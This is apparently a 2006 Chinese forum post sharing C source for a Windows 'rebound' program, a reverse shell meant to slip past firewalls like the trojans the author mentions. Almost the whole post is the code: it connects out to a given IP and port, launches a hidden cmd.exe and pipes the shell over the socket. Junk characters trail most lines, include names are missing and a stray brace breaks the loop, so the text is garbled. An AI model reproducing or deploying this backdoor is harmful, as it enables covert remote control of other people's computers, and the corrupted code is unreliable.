这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~J Xqyw}
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/* ============================== `V1D&}H+G
Rebound port in Windows NT 'kz[Gh*8
By wind,2006/7 V!Q1o!J
===============================*/ Alsr6uLT1
#include -%*w&',G
#include 0DFxVH_xN
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#pragma comment(lib,"wsock32.lib") eaI!}#>R+
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void OutputShell();
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SOCKET sClient; .Y"H{|]Mnh
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,%FBELqOW
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void main(int argc,char **argv) E9L)dMZSpj
{ +4,v.B@
WSADATA stWsaData;
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int nRet; N<\U$\i
SOCKADDR_IN stSaiClient,stSaiServer; ]ctlK'.
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if(argc != 3) ?1z." &
{ Y0||>LX
printf("Useage:\n\rRebound DestIP DestPort\n"); Y GZX}-
return; FD&"k=p+X
} l }i
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WSAStartup(MAKEWORD(2,2),&stWsaData); G:]w
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JDyP..Dt
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stSaiClient.sin_family = AF_INET; )9L:^i6
stSaiClient.sin_port = htons(0); ?y\gjC6CNG
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j(`L)/|O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p)$DpNL% p
{ ZPT6
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printf("Bind Socket Failed!\n"); Kug_0+gI
return; U/e$.K3v
} "1P>,\Sjg
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stSaiServer.sin_family = AF_INET; u49v,,WGw
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); eN/o}<(e
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); se)vi;J7 K
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S9$* w!W
{ SYPG.O?I
printf("Connect Error!"); eAkj pc
return; 7n-;++a5]
} zF6]2Y?k%
OutputShell(); R(?g+:eCpM
} iY /N%T;
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void OutputShell() q&h&GZ
{ oCBZ9PGkK
char szBuff[1024]; }=':)?'-.
SECURITY_ATTRIBUTES stSecurityAttributes; pV>M,f
OSVERSIONINFO stOsversionInfo; +[MzF EE[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <mm.b
STARTUPINFO stStartupInfo; ^MyuD?va
char *szShell; M>pcG.6V
PROCESS_INFORMATION stProcessInformation; `Ns$HV
unsigned long lBytesRead; ZYy,gu<
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y^o*wz:D*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R89;<,Ie
stSecurityAttributes.lpSecurityDescriptor = 0; r*|#*"K"a
stSecurityAttributes.bInheritHandle = TRUE; ay\ e#)
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e B`7C"Z
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K[%)_KW
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); : GZx-
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?N
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stStartupInfo.wShowWindow = SW_HIDE; v'"0Ya
stStartupInfo.hStdInput = hReadPipe; =tJ}itcJ'
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pq 4/>WzE
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GetVersionEx(&stOsversionInfo); 2L#$WuM~^
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switch(stOsversionInfo.dwPlatformId) U2=PmS P
{ t;7 tuq
case 1: (p2jigP7a[
szShell = "command.com"; XY[uyR4Z
break; vI<n~FHt
default: >a@c5
szShell = "cmd.exe"; 9oly=&lJ
break; <q
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} 28KS*5S
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); oT5N_\
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send(sClient,szMsg,77,0); os<B}D[
while(1) @z8,XW
}
{ wHSa s[4k
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); RR u1/nam
if(lBytesRead) 1LbJR'}
{ /bE=]nM
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }H[v!l@
send(sClient,szBuff,lBytesRead,0); ,O[HX?>
} jG"n);WF
else I`?6>Z+%)
{ TA=VfA B
lBytesRead=recv(sClient,szBuff,1024,0); ;VY0DAp{
if(lBytesRead<=0) break; n%o"n?e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); eIEr\X4\~~
} F;Q8^C0e*c
} 9? xMsu-H
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return; -r%3"C=m
}